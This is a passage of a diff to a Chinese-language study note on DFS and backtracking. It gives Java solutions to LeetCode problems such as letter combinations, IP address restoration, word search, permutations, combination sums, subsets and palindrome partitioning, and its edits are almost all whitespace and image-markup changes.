-private void dfs(int r, int c, boolean[][] canReach) {
-    if (canReach[r][c]) {
-        return;
-    }
-    canReach[r][c] = true;
-    for (int[] d : direction) {
-        int nextR = d[0] + r;
-        int nextC = d[1] + c;
-        if (nextR < 0 || nextR >= m || nextC < 0 || nextC >= n
-                || matrix[r][c] > matrix[nextR][nextC]) {
+private void dfs(int r, int c, boolean[][] canReach) {
+    if (canReach[r][c]) {
+        return;
+    }
+    canReach[r][c] = true;
+    for (int[] d : direction) {
+        int nextR = d[0] + r;
+        int nextC = d[1] + c;
+        if (nextR < 0 || nextR >= m || nextC < 0 || nextC >= n
+                || matrix[r][c] > matrix[nextR][nextC]) {
 
-            continue;
-        }
-        dfs(nextR, nextC, canReach);
-    }
+            continue;
+        }
+        dfs(nextR, nextC, canReach);
+    }
 }
 ```
 
-### Backtracking
+### Backtracking
 
-Backtracking（回溯）属于 DFS。
+Backtracking（回溯）属于 DFS。
 
-- 普通 DFS 主要用在  **可达性问题** ，这种问题只需要执行到特点的位置然后返回即可。
-- 而 Backtracking 主要用于求解  **排列组合**  问题，例如有 { 'a','b','c' } 三个字符，求解所有由这三个字符排列得到的字符串，这种问题在执行到特定的位置返回之后还会继续执行求解过程。
+- 普通 DFS 主要用在 **可达性问题**，这种问题只需要执行到特点的位置然后返回即可。
+- 而 Backtracking 主要用于求解 **排列组合** 问题，例如有 { 'a','b','c' } 三个字符，求解所有由这三个字符排列得到的字符串，这种问题在执行到特定的位置返回之后还会继续执行求解过程。
 
-因为 Backtracking 不是立即就返回，而要继续求解，因此在程序实现时，需要注意对元素的标记问题：
+因为 Backtracking 不是立即就返回，而要继续求解，因此在程序实现时，需要注意对元素的标记问题：
 
-- 在访问一个新元素进入新的递归调用时，需要将新元素标记为已经访问，这样才能在继续递归调用时不用重复访问该元素；
-- 但是在递归返回时，需要将元素标记为未访问，因为只需要保证在一个递归链中不同时访问一个元素，可以访问已经访问过但是不在当前递归链中的元素。
+- 在访问一个新元素进入新的递归调用时，需要将新元素标记为已经访问，这样才能在继续递归调用时不用重复访问该元素；
+- 但是在递归返回时，需要将元素标记为未访问，因为只需要保证在一个递归链中不同时访问一个元素，可以访问已经访问过但是不在当前递归链中的元素。
 
-**数字键盘组合** 
+**数字键盘组合**
 
-[17. Letter Combinations of a Phone Number (Medium)](https://leetcode.com/problems/letter-combinations-of-a-phone-number/description/)
+[17. Letter Combinations of a Phone Number (Medium)](https://leetcode.com/problems/letter-combinations-of-a-phone-number/description/)
 
-<div align="center"> <img src="pics/a3f34241-bb80-4879-8ec9-dff2d81b514e.jpg"/> </div><br>
+![](index_files/a3f34241-bb80-4879-8ec9-dff2d81b514e.jpg)
 
 ```html
-Input:Digit string "23"
-Output: ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"].
+Input:Digit string "23"
+Output: ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"].
 ```
 
 ```java
-private static final String[] KEYS = {"", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"};
+private static final String[] KEYS = {"", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"};
 
-public List<String> letterCombinations(String digits) {
-    List<String> combinations = new ArrayList<>();
-    if (digits == null || digits.length() == 0) {
-        return combinations;
-    }
-    doCombination(new StringBuilder(), combinations, digits);
-    return combinations;
+public List<String> letterCombinations(String digits) {
+    List<String> combinations = new ArrayList<>();
+    if (digits == null || digits.length() == 0) {
+        return combinations;
+    }
+    doCombination(new StringBuilder(), combinations, digits);
+    return combinations;
 }
 
-private void doCombination(StringBuilder prefix, List<String> combinations, final String digits) {
-    if (prefix.length() == digits.length()) {
-        combinations.add(prefix.toString());
-        return;
-    }
-    int curDigits = digits.charAt(prefix.length()) - '0';
-    String letters = KEYS[curDigits];
-    for (char c : letters.toCharArray()) {
-        prefix.append(c);                         // 添加
-        doCombination(prefix, combinations, digits);
-        prefix.deleteCharAt(prefix.length() - 1); // 删除
-    }
+private void doCombination(StringBuilder prefix, List<String> combinations, final String digits) {
+    if (prefix.length() == digits.length()) {
+        combinations.add(prefix.toString());
+        return;
+    }
+    int curDigits = digits.charAt(prefix.length()) - '0';
+    String letters = KEYS[curDigits];
+    for (char c : letters.toCharArray()) {
+        prefix.append(c);                         // 添加
+        doCombination(prefix, combinations, digits);
+        prefix.deleteCharAt(prefix.length() - 1); // 删除
+    }
 }
 ```
 
-**IP 地址划分** 
+**IP 地址划分**
 
-[93. Restore IP Addresses(Medium)](https://leetcode.com/problems/restore-ip-addresses/description/)
+[93. Restore IP Addresses(Medium)](https://leetcode.com/problems/restore-ip-addresses/description/)
 
 ```html
-Given "25525511135",
-return ["255.255.11.135", "255.255.111.35"].
+Given "25525511135",
+return ["255.255.11.135", "255.255.111.35"].
 ```
 
 ```java
-public List<String> restoreIpAddresses(String s) {
-    List<String> addresses = new ArrayList<>();
-    StringBuilder tempAddress = new StringBuilder();
-    doRestore(0, tempAddress, addresses, s);
-    return addresses;
+public List<String> restoreIpAddresses(String s) {
+    List<String> addresses = new ArrayList<>();
+    StringBuilder tempAddress = new StringBuilder();
+    doRestore(0, tempAddress, addresses, s);
+    return addresses;
 }
 
-private void doRestore(int k, StringBuilder tempAddress, List<String> addresses, String s) {
-    if (k == 4 || s.length() == 0) {
-        if (k == 4 && s.length() == 0) {
-            addresses.add(tempAddress.toString());
-        }
-        return;
-    }
-    for (int i = 0; i < s.length() && i <= 2; i++) {
-        if (i != 0 && s.charAt(0) == '0') {
-            break;
-        }
-        String part = s.substring(0, i + 1);
-        if (Integer.valueOf(part) <= 255) {
-            if (tempAddress.length() != 0) {
-                part = "." + part;
-            }
-            tempAddress.append(part);
-            doRestore(k + 1, tempAddress, addresses, s.substring(i + 1));
-            tempAddress.delete(tempAddress.length() - part.length(), tempAddress.length());
-        }
-    }
+private void doRestore(int k, StringBuilder tempAddress, List<String> addresses, String s) {
+    if (k == 4 || s.length() == 0) {
+        if (k == 4 && s.length() == 0) {
+            addresses.add(tempAddress.toString());
+        }
+        return;
+    }
+    for (int i = 0; i < s.length() && i <= 2; i++) {
+        if (i != 0 && s.charAt(0) == '0') {
+            break;
+        }
+        String part = s.substring(0, i + 1);
+        if (Integer.valueOf(part) <= 255) {
+            if (tempAddress.length() != 0) {
+                part = "." + part;
+            }
+            tempAddress.append(part);
+            doRestore(k + 1, tempAddress, addresses, s.substring(i + 1));
+            tempAddress.delete(tempAddress.length() - part.length(), tempAddress.length());
+        }
+    }
 }
 ```
 
-**在矩阵中寻找字符串** 
+**在矩阵中寻找字符串**
 
-[79. Word Search (Medium)](https://leetcode.com/problems/word-search/description/)
+[79. Word Search (Medium)](https://leetcode.com/problems/word-search/description/)
 
 ```html
-For example,
-Given board =
+For example,
+Given board =
 [
-  ['A','B','C','E'],
-  ['S','F','C','S'],
-  ['A','D','E','E']
+  ['A','B','C','E'],
+  ['S','F','C','S'],
+  ['A','D','E','E']
 ]
-word = "ABCCED", -> returns true,
-word = "SEE", -> returns true,
-word = "ABCB", -> returns false.
+word = "ABCCED", -> returns true,
+word = "SEE", -> returns true,
+word = "ABCB", -> returns false.
 ```
 
 ```java
-private final static int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
-private int m;
-private int n;
+private final static int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
+private int m;
+private int n;
 
-public boolean exist(char[][] board, String word) {
-    if (word == null || word.length() == 0) {
-        return true;
-    }
-    if (board == null || board.length == 0 || board[0].length == 0) {
-        return false;
-    }
+public boolean exist(char[][] board, String word) {
+    if (word == null || word.length() == 0) {
+        return true;
+    }
+    if (board == null || board.length == 0 || board[0].length == 0) {
+        return false;
+    }
 
-    m = board.length;
-    n = board[0].length;
-    boolean[][] hasVisited = new boolean[m][n];
+    m = board.length;
+    n = board[0].length;
+    boolean[][] hasVisited = new boolean[m][n];
 
-    for (int r = 0; r < m; r++) {
-        for (int c = 0; c < n; c++) {
-            if (backtracking(0, r, c, hasVisited, board, word)) {
-                return true;
-            }
-        }
-    }
+    for (int r = 0; r < m; r++) {
+        for (int c = 0; c < n; c++) {
+            if (backtracking(0, r, c, hasVisited, board, word)) {
+                return true;
+            }
+        }
+    }
 
-    return false;
+    return false;
 }
 
-private boolean backtracking(int curLen, int r, int c, boolean[][] visited, final char[][] board, final String word) {
-    if (curLen == word.length()) {
-        return true;
-    }
-    if (r < 0 || r >= m || c < 0 || c >= n
-            || board[r][c] != word.charAt(curLen) || visited[r][c]) {
+private boolean backtracking(int curLen, int r, int c, boolean[][] visited, final char[][] board, final String word) {
+    if (curLen == word.length()) {
+        return true;
+    }
+    if (r < 0 || r >= m || c < 0 || c >= n
+            || board[r][c] != word.charAt(curLen) || visited[r][c]) {
 
-        return false;
-    }
+        return false;
+    }
 
-    visited[r][c] = true;
+    visited[r][c] = true;
 
-    for (int[] d : direction) {
-        if (backtracking(curLen + 1, r + d[0], c + d[1], visited, board, word)) {
-            return true;
-        }
-    }
+    for (int[] d : direction) {
+        if (backtracking(curLen + 1, r + d[0], c + d[1], visited, board, word)) {
+            return true;
+        }
+    }
 
-    visited[r][c] = false;
+    visited[r][c] = false;
 
-    return false;
+    return false;
 }
 ```
 
-**输出二叉树中所有从根到叶子的路径** 
+**输出二叉树中所有从根到叶子的路径**
 
-[257. Binary Tree Paths (Easy)](https://leetcode.com/problems/binary-tree-paths/description/)
+[257. Binary Tree Paths (Easy)](https://leetcode.com/problems/binary-tree-paths/description/)
 
 ```html
-  1
- /  \
-2    3
- \
-  5
+  1
+ /  \
+2    3
+ \
+  5
 ```
 
 ```html
-["1->2->5", "1->3"]
+["1->2->5", "1->3"]
 ```
 
 ```java
 
-public List<String> binaryTreePaths(TreeNode root) {
-    List<String> paths = new ArrayList<>();
-    if (root == null) {
-        return paths;
-    }
-    List<Integer> values = new ArrayList<>();
-    backtracking(root, values, paths);
-    return paths;
+public List<String> binaryTreePaths(TreeNode root) {
+    List<String> paths = new ArrayList<>();
+    if (root == null) {
+        return paths;
+    }
+    List<Integer> values = new ArrayList<>();
+    backtracking(root, values, paths);
+    return paths;
 }
 
-private void backtracking(TreeNode node, List<Integer> values, List<String> paths) {
-    if (node == null) {
-        return;
-    }
-    values.add(node.val);
-    if (isLeaf(node)) {
-        paths.add(buildPath(values));
-    } else {
-        backtracking(node.left, values, paths);
-        backtracking(node.right, values, paths);
-    }
-    values.remove(values.size() - 1);
+private void backtracking(TreeNode node, List<Integer> values, List<String> paths) {
+    if (node == null) {
+        return;
+    }
+    values.add(node.val);
+    if (isLeaf(node)) {
+        paths.add(buildPath(values));
+    } else {
+        backtracking(node.left, values, paths);
+        backtracking(node.right, values, paths);
+    }
+    values.remove(values.size() - 1);
 }
 
-private boolean isLeaf(TreeNode node) {
-    return node.left == null && node.right == null;
+private boolean isLeaf(TreeNode node) {
+    return node.left == null && node.right == null;
 }
 
-private String buildPath(List<Integer> values) {
-    StringBuilder str = new StringBuilder();
-    for (int i = 0; i < values.size(); i++) {
-        str.append(values.get(i));
-        if (i != values.size() - 1) {
-            str.append("->");
-        }
-    }
-    return str.toString();
+private String buildPath(List<Integer> values) {
+    StringBuilder str = new StringBuilder();
+    for (int i = 0; i < values.size(); i++) {
+        str.append(values.get(i));
+        if (i != values.size() - 1) {
+            str.append("->");
+        }
+    }
+    return str.toString();
 }
 ```
 
-**排列** 
+**排列**
 
-[46. Permutations (Medium)](https://leetcode.com/problems/permutations/description/)
+[46. Permutations (Medium)](https://leetcode.com/problems/permutations/description/)
 
 ```html
-[1,2,3] have the following permutations:
+[1,2,3] have the following permutations:
 [
-  [1,2,3],
-  [1,3,2],
-  [2,1,3],
-  [2,3,1],
-  [3,1,2],
-  [3,2,1]
+  [1,2,3],
+  [1,3,2],
+  [2,1,3],
+  [2,3,1],
+  [3,1,2],
+  [3,2,1]
 ]
 ```
 
 ```java
-public List<List<Integer>> permute(int[] nums) {
-    List<List<Integer>> permutes = new ArrayList<>();
-    List<Integer> permuteList = new ArrayList<>();
-    boolean[] hasVisited = new boolean[nums.length];
-    backtracking(permuteList, permutes, hasVisited, nums);
-    return permutes;
+public List<List<Integer>> permute(int[] nums) {
+    List<List<Integer>> permutes = new ArrayList<>();
+    List<Integer> permuteList = new ArrayList<>();
+    boolean[] hasVisited = new boolean[nums.length];
+    backtracking(permuteList, permutes, hasVisited, nums);
+    return permutes;
 }
 
-private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
-    if (permuteList.size() == nums.length) {
-        permutes.add(new ArrayList<>(permuteList)); // 重新构造一个 List
-        return;
-    }
-    for (int i = 0; i < visited.length; i++) {
-        if (visited[i]) {
-            continue;
-        }
-        visited[i] = true;
-        permuteList.add(nums[i]);
-        backtracking(permuteList, permutes, visited, nums);
-        permuteList.remove(permuteList.size() - 1);
-        visited[i] = false;
-    }
+private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
+    if (permuteList.size() == nums.length) {
+        permutes.add(new ArrayList<>(permuteList)); // 重新构造一个 List
+        return;
+    }
+    for (int i = 0; i < visited.length; i++) {
+        if (visited[i]) {
+            continue;
+        }
+        visited[i] = true;
+        permuteList.add(nums[i]);
+        backtracking(permuteList, permutes, visited, nums);
+        permuteList.remove(permuteList.size() - 1);
+        visited[i] = false;
+    }
 }
 ```
 
-**含有相同元素求排列** 
+**含有相同元素求排列**
 
-[47. Permutations II (Medium)](https://leetcode.com/problems/permutations-ii/description/)
+[47. Permutations II (Medium)](https://leetcode.com/problems/permutations-ii/description/)
 
 ```html
-[1,1,2] have the following unique permutations:
-[[1,1,2], [1,2,1], [2,1,1]]
+[1,1,2] have the following unique permutations:
+[[1,1,2], [1,2,1], [2,1,1]]
 ```
 
 数组元素可能含有相同的元素，进行排列时就有可能出现重复的排列，要求重复的排列只返回一个。
 
-在实现上，和 Permutations 不同的是要先排序，然后在添加一个元素时，判断这个元素是否等于前一个元素，如果等于，并且前一个元素还未访问，那么就跳过这个元素。
+在实现上，和 Permutations 不同的是要先排序，然后在添加一个元素时，判断这个元素是否等于前一个元素，如果等于，并且前一个元素还未访问，那么就跳过这个元素。
 
 ```java
-public List<List<Integer>> permuteUnique(int[] nums) {
-    List<List<Integer>> permutes = new ArrayList<>();
-    List<Integer> permuteList = new ArrayList<>();
-    Arrays.sort(nums);  // 排序
-    boolean[] hasVisited = new boolean[nums.length];
-    backtracking(permuteList, permutes, hasVisited, nums);
-    return permutes;
+public List<List<Integer>> permuteUnique(int[] nums) {
+    List<List<Integer>> permutes = new ArrayList<>();
+    List<Integer> permuteList = new ArrayList<>();
+    Arrays.sort(nums);  // 排序
+    boolean[] hasVisited = new boolean[nums.length];
+    backtracking(permuteList, permutes, hasVisited, nums);
+    return permutes;
 }
 
-private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
-    if (permuteList.size() == nums.length) {
-        permutes.add(new ArrayList<>(permuteList));
-        return;
-    }
+private void backtracking(List<Integer> permuteList, List<List<Integer>> permutes, boolean[] visited, final int[] nums) {
+    if (permuteList.size() == nums.length) {
+        permutes.add(new ArrayList<>(permuteList));
+        return;
+    }
 
-    for (int i = 0; i < visited.length; i++) {
-        if (i != 0 && nums[i] == nums[i - 1] && !visited[i - 1]) {
-            continue;  // 防止重复
-        }
-        if (visited[i]){
-            continue;
-        }
-        visited[i] = true;
-        permuteList.add(nums[i]);
-        backtracking(permuteList, permutes, visited, nums);
-        permuteList.remove(permuteList.size() - 1);
-        visited[i] = false;
-    }
+    for (int i = 0; i < visited.length; i++) {
+        if (i != 0 && nums[i] == nums[i - 1] && !visited[i - 1]) {
+            continue;  // 防止重复
+        }
+        if (visited[i]){
+            continue;
+        }
+        visited[i] = true;
+        permuteList.add(nums[i]);
+        backtracking(permuteList, permutes, visited, nums);
+        permuteList.remove(permuteList.size() - 1);
+        visited[i] = false;
+    }
 }
 ```
 
-**组合** 
+**组合**
 
-[77. Combinations (Medium)](https://leetcode.com/problems/combinations/description/)
+[77. Combinations (Medium)](https://leetcode.com/problems/combinations/description/)
 
 ```html
-If n = 4 and k = 2, a solution is:
+If n = 4 and k = 2, a solution is:
 [
-  [2,4],
-  [3,4],
-  [2,3],
-  [1,2],
-  [1,3],
-  [1,4],
+  [2,4],
+  [3,4],
+  [2,3],
+  [1,2],
+  [1,3],
+  [1,4],
 ]
 ```
 
 ```java
-public List<List<Integer>> combine(int n, int k) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    List<Integer> combineList = new ArrayList<>();
-    backtracking(combineList, combinations, 1, k, n);
-    return combinations;
+public List<List<Integer>> combine(int n, int k) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    List<Integer> combineList = new ArrayList<>();
+    backtracking(combineList, combinations, 1, k, n);
+    return combinations;
 }
 
-private void backtracking(List<Integer> combineList, List<List<Integer>> combinations, int start, int k, final int n) {
-    if (k == 0) {
-        combinations.add(new ArrayList<>(combineList));
-        return;
-    }
-    for (int i = start; i <= n - k + 1; i++) {  // 剪枝
-        combineList.add(i);
-        backtracking(combineList, combinations, i + 1, k - 1, n);
-        combineList.remove(combineList.size() - 1);
-    }
+private void backtracking(List<Integer> combineList, List<List<Integer>> combinations, int start, int k, final int n) {
+    if (k == 0) {
+        combinations.add(new ArrayList<>(combineList));
+        return;
+    }
+    for (int i = start; i <= n - k + 1; i++) {  // 剪枝
+        combineList.add(i);
+        backtracking(combineList, combinations, i + 1, k - 1, n);
+        combineList.remove(combineList.size() - 1);
+    }
 }
 ```
 
-**组合求和** 
+**组合求和**
 
-[39. Combination Sum (Medium)](https://leetcode.com/problems/combination-sum/description/)
+[39. Combination Sum (Medium)](https://leetcode.com/problems/combination-sum/description/)
 
 ```html
-given candidate set [2, 3, 6, 7] and target 7,
-A solution set is:
-[[7],[2, 2, 3]]
+given candidate set [2, 3, 6, 7] and target 7,
+A solution set is:
+[[7],[2, 2, 3]]
 ```
 
 ```java
-public List<List<Integer>> combinationSum(int[] candidates, int target) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    backtracking(new ArrayList<>(), combinations, 0, target, candidates);
-    return combinations;
+public List<List<Integer>> combinationSum(int[] candidates, int target) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    backtracking(new ArrayList<>(), combinations, 0, target, candidates);
+    return combinations;
 }
 
-private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
-                          int start, int target, final int[] candidates) {
+private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
+                          int start, int target, final int[] candidates) {
 
-    if (target == 0) {
-        combinations.add(new ArrayList<>(tempCombination));
-        return;
-    }
-    for (int i = start; i < candidates.length; i++) {
-        if (candidates[i] <= target) {
-            tempCombination.add(candidates[i]);
-            backtracking(tempCombination, combinations, i, target - candidates[i], candidates);
-            tempCombination.remove(tempCombination.size() - 1);
-        }
-    }
+    if (target == 0) {
+        combinations.add(new ArrayList<>(tempCombination));
+        return;
+    }
+    for (int i = start; i < candidates.length; i++) {
+        if (candidates[i] <= target) {
+            tempCombination.add(candidates[i]);
+            backtracking(tempCombination, combinations, i, target - candidates[i], candidates);
+            tempCombination.remove(tempCombination.size() - 1);
+        }
+    }
 }
 ```
 
-**含有相同元素的求组合求和** 
+**含有相同元素的求组合求和**
 
-[40. Combination Sum II (Medium)](https://leetcode.com/problems/combination-sum-ii/description/)
+[40. Combination Sum II (Medium)](https://leetcode.com/problems/combination-sum-ii/description/)
 
 ```html
-For example, given candidate set [10, 1, 2, 7, 6, 1, 5] and target 8,
-A solution set is:
+For example, given candidate set [10, 1, 2, 7, 6, 1, 5] and target 8,
+A solution set is:
 [
-  [1, 7],
-  [1, 2, 5],
-  [2, 6],
-  [1, 1, 6]
+  [1, 7],
+  [1, 2, 5],
+  [2, 6],
+  [1, 1, 6]
 ]
 ```
 
 ```java
-public List<List<Integer>> combinationSum2(int[] candidates, int target) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    Arrays.sort(candidates);
-    backtracking(new ArrayList<>(), combinations, new boolean[candidates.length], 0, target, candidates);
-    return combinations;
+public List<List<Integer>> combinationSum2(int[] candidates, int target) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    Arrays.sort(candidates);
+    backtracking(new ArrayList<>(), combinations, new boolean[candidates.length], 0, target, candidates);
+    return combinations;
 }
 
-private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
-                          boolean[] hasVisited, int start, int target, final int[] candidates) {
+private void backtracking(List<Integer> tempCombination, List<List<Integer>> combinations,
+                          boolean[] hasVisited, int start, int target, final int[] candidates) {
 
-    if (target == 0) {
-        combinations.add(new ArrayList<>(tempCombination));
-        return;
-    }
-    for (int i = start; i < candidates.length; i++) {
-        if (i != 0 && candidates[i] == candidates[i - 1] && !hasVisited[i - 1]) {
-            continue;
-        }
-        if (candidates[i] <= target) {
-            tempCombination.add(candidates[i]);
-            hasVisited[i] = true;
-            backtracking(tempCombination, combinations, hasVisited, i + 1, target - candidates[i], candidates);
-            hasVisited[i] = false;
-            tempCombination.remove(tempCombination.size() - 1);
-        }
-    }
+    if (target == 0) {
+        combinations.add(new ArrayList<>(tempCombination));
+        return;
+    }
+    for (int i = start; i < candidates.length; i++) {
+        if (i != 0 && candidates[i] == candidates[i - 1] && !hasVisited[i - 1]) {
+            continue;
+        }
+        if (candidates[i] <= target) {
+            tempCombination.add(candidates[i]);
+            hasVisited[i] = true;
+            backtracking(tempCombination, combinations, hasVisited, i + 1, target - candidates[i], candidates);
+            hasVisited[i] = false;
+            tempCombination.remove(tempCombination.size() - 1);
+        }
+    }
 }
 ```
 
-**1-9 数字的组合求和** 
+**1-9 数字的组合求和**
 
-[216. Combination Sum III (Medium)](https://leetcode.com/problems/combination-sum-iii/description/)
+[216. Combination Sum III (Medium)](https://leetcode.com/problems/combination-sum-iii/description/)
 
 ```html
-Input: k = 3, n = 9
+Input: k = 3, n = 9
 
 Output:
 
-[[1,2,6], [1,3,5], [2,3,4]]
+[[1,2,6], [1,3,5], [2,3,4]]
 ```
 
-从 1-9 数字中选出 k 个数不重复的数，使得它们的和为 n。
+从 1-9 数字中选出 k 个数不重复的数，使得它们的和为 n。
 
 ```java
-public List<List<Integer>> combinationSum3(int k, int n) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    List<Integer> path = new ArrayList<>();
-    backtracking(k, n, 1, path, combinations);
-    return combinations;
+public List<List<Integer>> combinationSum3(int k, int n) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    List<Integer> path = new ArrayList<>();
+    backtracking(k, n, 1, path, combinations);
+    return combinations;
 }
 
-private void backtracking(int k, int n, int start,
-                          List<Integer> tempCombination, List<List<Integer>> combinations) {
+private void backtracking(int k, int n, int start,
+                          List<Integer> tempCombination, List<List<Integer>> combinations) {
 
-    if (k == 0 && n == 0) {
-        combinations.add(new ArrayList<>(tempCombination));
-        return;
-    }
-    if (k == 0 || n == 0) {
-        return;
-    }
-    for (int i = start; i <= 9; i++) {
-        tempCombination.add(i);
-        backtracking(k - 1, n - i, i + 1, tempCombination, combinations);
-        tempCombination.remove(tempCombination.size() - 1);
-    }
+    if (k == 0 && n == 0) {
+        combinations.add(new ArrayList<>(tempCombination));
+        return;
+    }
+    if (k == 0 || n == 0) {
+        return;
+    }
+    for (int i = start; i <= 9; i++) {
+        tempCombination.add(i);
+        backtracking(k - 1, n - i, i + 1, tempCombination, combinations);
+        tempCombination.remove(tempCombination.size() - 1);
+    }
 }
 ```
 
-**子集** 
+**子集**
 
-[78. Subsets (Medium)](https://leetcode.com/problems/subsets/description/)
+[78. Subsets (Medium)](https://leetcode.com/problems/subsets/description/)
 
-找出集合的所有子集，子集不能重复，[1, 2] 和 [2, 1] 这种子集算重复
+找出集合的所有子集，子集不能重复，[1, 2] 和 [2, 1] 这种子集算重复
 
 ```java
-public List<List<Integer>> subsets(int[] nums) {
-    List<List<Integer>> subsets = new ArrayList<>();
-    List<Integer> tempSubset = new ArrayList<>();
-    for (int size = 0; size <= nums.length; size++) {
-        backtracking(0, tempSubset, subsets, size, nums); // 不同的子集大小
-    }
-    return subsets;
+public List<List<Integer>> subsets(int[] nums) {
+    List<List<Integer>> subsets = new ArrayList<>();
+    List<Integer> tempSubset = new ArrayList<>();
+    for (int size = 0; size <= nums.length; size++) {
+        backtracking(0, tempSubset, subsets, size, nums); // 不同的子集大小
+    }
+    return subsets;
 }
 
-private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets,
-                          final int size, final int[] nums) {
+private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets,
+                          final int size, final int[] nums) {
 
-    if (tempSubset.size() == size) {
-        subsets.add(new ArrayList<>(tempSubset));
-        return;
-    }
-    for (int i = start; i < nums.length; i++) {
-        tempSubset.add(nums[i]);
-        backtracking(i + 1, tempSubset, subsets, size, nums);
-        tempSubset.remove(tempSubset.size() - 1);
-    }
+    if (tempSubset.size() == size) {
+        subsets.add(new ArrayList<>(tempSubset));
+        return;
+    }
+    for (int i = start; i < nums.length; i++) {
+        tempSubset.add(nums[i]);
+        backtracking(i + 1, tempSubset, subsets, size, nums);
+        tempSubset.remove(tempSubset.size() - 1);
+    }
 }
 ```
 
-**含有相同元素求子集** 
+**含有相同元素求子集**
 
-[90. Subsets II (Medium)](https://leetcode.com/problems/subsets-ii/description/)
+[90. Subsets II (Medium)](https://leetcode.com/problems/subsets-ii/description/)
 
 ```html
-For example,
-If nums = [1,2,2], a solution is:
+For example,
+If nums = [1,2,2], a solution is:
 
 [
-  [2],
-  [1],
-  [1,2,2],
-  [2,2],
-  [1,2],
-  []
+  [2],
+  [1],
+  [1,2,2],
+  [2,2],
+  [1,2],
+  []
 ]
 ```
 
 ```java
-public List<List<Integer>> subsetsWithDup(int[] nums) {
-    Arrays.sort(nums);
-    List<List<Integer>> subsets = new ArrayList<>();
-    List<Integer> tempSubset = new ArrayList<>();
-    boolean[] hasVisited = new boolean[nums.length];
-    for (int size = 0; size <= nums.length; size++) {
-        backtracking(0, tempSubset, subsets, hasVisited, size, nums); // 不同的子集大小
-    }
-    return subsets;
+public List<List<Integer>> subsetsWithDup(int[] nums) {
+    Arrays.sort(nums);
+    List<List<Integer>> subsets = new ArrayList<>();
+    List<Integer> tempSubset = new ArrayList<>();
+    boolean[] hasVisited = new boolean[nums.length];
+    for (int size = 0; size <= nums.length; size++) {
+        backtracking(0, tempSubset, subsets, hasVisited, size, nums); // 不同的子集大小
+    }
+    return subsets;
 }
 
-private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets, boolean[] hasVisited,
-                          final int size, final int[] nums) {
+private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets, boolean[] hasVisited,
+                          final int size, final int[] nums) {
 
-    if (tempSubset.size() == size) {
-        subsets.add(new ArrayList<>(tempSubset));
-        return;
-    }
-    for (int i = start; i < nums.length; i++) {
-        if (i != 0 && nums[i] == nums[i - 1] && !hasVisited[i - 1]) {
-            continue;
-        }
-        tempSubset.add(nums[i]);
-        hasVisited[i] = true;
-        backtracking(i + 1, tempSubset, subsets, hasVisited, size, nums);
-        hasVisited[i] = false;
-        tempSubset.remove(tempSubset.size() - 1);
-    }
+    if (tempSubset.size() == size) {
+        subsets.add(new ArrayList<>(tempSubset));
+        return;
+    }
+    for (int i = start; i < nums.length; i++) {
+        if (i != 0 && nums[i] == nums[i - 1] && !hasVisited[i - 1]) {
+            continue;
+        }
+        tempSubset.add(nums[i]);
+        hasVisited[i] = true;
+        backtracking(i + 1, tempSubset, subsets, hasVisited, size, nums);
+        hasVisited[i] = false;
+        tempSubset.remove(tempSubset.size() - 1);
+    }
 }
 ```
 
-**分割字符串使得每个部分都是回文数** 
+**分割字符串使得每个部分都是回文数**
 
-[131. Palindrome Partitioning (Medium)](https://leetcode.com/problems/palindrome-partitioning/description/)
+[131. Palindrome Partitioning (Medium)](https://leetcode.com/problems/palindrome-partitioning/description/)
 
 ```html
-For example, given s = "aab",
+For example, given s = "aab",
 Return
 
 [
-  ["aa","b"],
-  ["a","a","b"]
+  ["aa","b"],
+  ["a","a","b"]
 ]
 ```
 
 ```java
-public List<List<String>> partition(String s) {
-    List<List<String>> partitions = new ArrayList<>();
-    List<String> tempPartition = new ArrayList<>();
-    doPartition(s, partitions, tempPartition);
-    return partitions;
+public List<List<String>> partition(String s) {
+    List<List<String>> partitions = new ArrayList<>();
+    List<String> tempPartition = new ArrayList<>();
+    doPartition(s, partitions, tempPartition);
+    return partitions;
 }
 
-private void doPartition(String s, List<List<String>> partitions, List<String> tempPartition) {
-    if (s.length() == 0) {
-        partitions.add(new ArrayList<>(tempPartition));
-        return;
-    }
-    for (int i = 0; i < s.length(); i++) {
-        if (isPalindrome(s, 0, i)) {
-            tempPartition.add(s.substring(0, i + 1));
-            doPartition(s.substring(i + 1), partitions, tempPartition);
-            tempPartition.remove(tempPartition.size() - 1);
-        }
-    }
+private void doPartition(String s, List<List<String>> partitions, List<String> tempPartition) {
+    if (s.length() == 0) {
+        partitions.add(new ArrayList<>(tempPartition));
+        return;
+    }
+    for (int i = 0; i < s.length(); i++) {
+        if (isPalindrome(s, 0, i)) {
+            tempPartition.add(s.substring(0, i + 1));
+            doPartition(s.substring(i + 1), partitions, tempPartition);
+            tempPartition.remove(tempPartition.size() - 1);
+        }
+    }
 }
 
-private boolean isPalindrome(String s, int begin, int end) {
-    while (begin < end) {
-        if (s.charAt(begin++) != s.charAt(end--)) {
-            return false;
-        }
-    }
-    return true;
+private boolean isPalindrome(String s, int begin, int end) {
+    while (begin < end) {
+        if (s.charAt(begin++) != s.charAt(end--)) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**数独** 
+**数独**
 
